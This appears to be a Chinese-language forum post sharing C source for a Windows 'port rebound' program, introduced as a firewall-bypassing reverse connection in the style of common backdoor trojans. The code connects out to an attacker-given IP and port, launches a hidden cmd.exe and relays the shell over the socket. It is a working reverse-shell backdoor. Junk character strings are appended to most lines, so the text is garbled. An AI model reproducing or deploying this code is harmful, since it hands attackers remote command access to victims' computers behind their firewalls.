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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]\{EUx9  
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/* ============================== j sm{|'  
Rebound port in Windows NT =oBV.BST u  
By wind,2006/7 E;yP.<PW  
===============================*/ ig6F!p  
#include bYiaJ  
#include YQ]W<0(  
env]*gx+=  
#pragma comment(lib,"wsock32.lib") jVr:O `  
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void OutputShell(); /)j:Y:5  
SOCKET sClient; ikUG`F%W  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W_%Dg]l   
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void main(int argc,char **argv) %5'6^bT  
{ tks1*I$S<  
WSADATA stWsaData; &4LrV+`$V  
int nRet; yTv#T(of  
SOCKADDR_IN stSaiClient,stSaiServer; uZCPxog  
nBR4j?':i  
if(argc != 3) svN& ~@ l  
{ s$A|>TOY  
printf("Useage:\n\rRebound DestIP DestPort\n"); fnB[b[  
return; :U=*@p4?  
} n}EH{k9#  
*4]}_ .rG#  
WSAStartup(MAKEWORD(2,2),&stWsaData); I=0`xF|4K-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NSZ9M%7  
W;Ct[Y 8m  
stSaiClient.sin_family = AF_INET; $/K<hT_  
stSaiClient.sin_port = htons(0); ?g}G#j  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,VI2dNst\  
6YNd;,it>p  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L\a G.\  
{ }get e'I  
printf("Bind Socket Failed!\n"); W|4:3 c4  
return; R10R,*6>  
} vr"O9L w  
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stSaiServer.sin_family = AF_INET; xcty  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <m'W{n%Pp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4S5U|n  
9!; /+P  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @P@?KZ..v!  
{ PKJw%.-  
printf("Connect Error!"); dSkMA  
return; }"Clv /3_  
} Qu|H_<8g  
OutputShell(); 1aDx 6Mq  
} 4}`z^P<C  
EV/DJ$C }  
void OutputShell() )\Am:?RH;  
{ B 1je Ik,  
char szBuff[1024]; -%,=%FBi~4  
SECURITY_ATTRIBUTES stSecurityAttributes; yw\Q>~$n[=  
OSVERSIONINFO stOsversionInfo; {OIB/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =bgWUu\F  
STARTUPINFO stStartupInfo; .~u[rc|<  
char *szShell; #Pt_<?JtV  
PROCESS_INFORMATION stProcessInformation; qz95)  
unsigned long lBytesRead; 0~4Ww=#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )Vd^#p  
H%pD9'q~  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a@!(o  )>  
stSecurityAttributes.lpSecurityDescriptor = 0; !y+uQ_IS@  
stSecurityAttributes.bInheritHandle = TRUE; 41g "7Mk  
>e^bq/'  
MroN=%|t  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); > 9.%hSy  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0RgE~x!hI  
galzk$D  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,<k%'a!B  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xqs ,4bcbY  
stStartupInfo.wShowWindow = SW_HIDE; iYD5~pK8  
stStartupInfo.hStdInput = hReadPipe; Q p7h|<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .dI".L  
SSxp!E'  
GetVersionEx(&stOsversionInfo); y 4U|~\]  
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switch(stOsversionInfo.dwPlatformId) bgLa`8  
{ bmu]zJ  
case 1: S /"G=^~  
szShell = "command.com"; Dj>eAO>  
break; EQN)y27poW  
default: hC[ =e`j  
szShell = "cmd.exe"; auga`*  
break; aq)g&.dw?  
} \3OEC`  
; [G:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q3Pu<j}Y  
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send(sClient,szMsg,77,0); yDfH`]i)U  
while(1) l^Ob60)2  
{ :s6aFiz  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A 0v=7 ]  
if(lBytesRead)  9u^M{6  
{ )X?oBNsj  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FRuPv6  
send(sClient,szBuff,lBytesRead,0); {CV+1kz  
} r4pX4 7H  
else d(|q&b:  
{ q8_(P&  
lBytesRead=recv(sClient,szBuff,1024,0); ynv{ rMl  
if(lBytesRead<=0) break; 3_<l`6^Ns/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ").gPmC  
} $33E-^  
} WG A1XQ{  
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return; &#L C'  
}
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